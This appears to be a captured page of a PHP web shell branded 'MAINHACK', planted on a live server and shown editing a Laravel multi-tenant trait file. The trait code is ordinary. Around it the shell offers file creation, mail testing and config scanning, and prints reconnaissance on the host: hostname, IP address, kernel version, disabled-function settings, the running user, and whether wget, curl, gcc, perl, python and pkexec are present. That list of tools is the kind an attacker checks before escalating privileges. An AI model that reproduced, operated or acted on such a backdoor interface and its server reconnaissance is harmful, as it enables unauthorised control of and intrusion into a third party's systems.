[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: MultiTenant.php
<?php namespace App\Traits; use Illuminate\Database\Eloquent\Builder; use Illuminate\Support\Facades\Schema; trait MultiTenant { public static function bootMultiTenant() { $table = (new self())->getTable(); if (auth()->check()) { $user = auth()->user(); if(request()->has('activeBusiness')){ $activeBusiness = request()->activeBusiness; }else{ $business = $user->business(); $activeBusiness = $business->withoutGlobalScopes()->wherePivot('is_active', 1)->with('user.package')->first(); } static::saving(function ($model) use ($activeBusiness, $user) { if (Schema::hasColumn($model->table, 'business_id')) { $model->business_id = $activeBusiness->id; } if (Schema::hasColumn($model->table, 'user_id')) { $model->user_id = $activeBusiness->user_id; } if (Schema::hasColumn($model->table, 'created_user_id')) { if (!$model->exists) { $model->created_user_id = $user->id; } } if (Schema::hasColumn($model->table, 'updated_user_id')) { if ($model->exists) { $model->updated_user_id = $user->id; } } }); static::updating(function ($model) use ($activeBusiness, $user) { if (Schema::hasColumn($model->table, 'business_id')) { $model->business_id = $activeBusiness->id; } if (Schema::hasColumn($model->table, 'user_id')) { $model->user_id = $activeBusiness->user_id; } if (Schema::hasColumn($model->table, 'updated_user_id')) { $model->updated_user_id = $user->id; } }); static::addGlobalScope('business_id', function (Builder $builder) use ($activeBusiness, $table, $user) { if ($user->user_type != 'admin') { if (Schema::hasColumn($table, 'business_id')) { return $builder->where($table . '.business_id', $activeBusiness->id); } if (Schema::hasColumn($table, 'user_id')) { return $builder->where($table . '.user_id', $user->id); } } }); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.99 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002